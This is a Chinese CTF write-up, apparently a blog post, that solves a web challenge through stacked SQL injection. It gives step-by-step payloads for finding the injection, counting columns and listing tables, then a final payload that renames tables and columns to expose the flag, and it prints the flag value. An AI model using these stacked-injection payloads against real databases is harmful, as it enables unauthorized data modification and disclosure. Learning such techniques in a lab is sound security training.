web 4.随便注

首先,判断是否存在注入,若输入1'发现不回显,输入1'#显示回显正常,那么就存在注入

 

 然后判断注入是字符型还是数字型,输入1'or'1'=1回显正常,那么该注入应该是字符型

 第二步,猜解SQL查询语句中的字段数

输入1'order by 1#回显正常

 再输入1'order by 2#,回显正常

直到输入1'order by 3#显示错误,那么字段数就有两个

第三步,显示字段,输入1'union select 1,2#回显一个正则过滤规则

 过滤了select,update,delete,drop,insert,where,.这些词,尝试堆叠注入

第四步,查询数据库,输入1';show datebase;#成功回显,说明存在堆叠注入

第五步,查询表,输入1';show tables;#成功回显,得到两个表words和1919810931114514

 第六步,查询表中字段,输入1';show columns from`words`;#

 再输入1';show columns from `1919810931114514`;#

 看到有flag字段

最后一步就是获取flag了,看到这里有两张表,那回显内容肯定是从word这张表里回显的,我们要让它回显flag所在的表中。既然没有过滤alert和rename,那么我们可以把表改个名字,再给列也改个名字。

先把words改名为word1,再把1919810931114514表改名为words,再把新的words表里的flag列改名为id.

payload:

1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;#

在输入1'or'1'='1#查询就可以得到flag

 

flag{fd5cd530-c9f0-4e99-9232-e73c29a2ae1d}

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值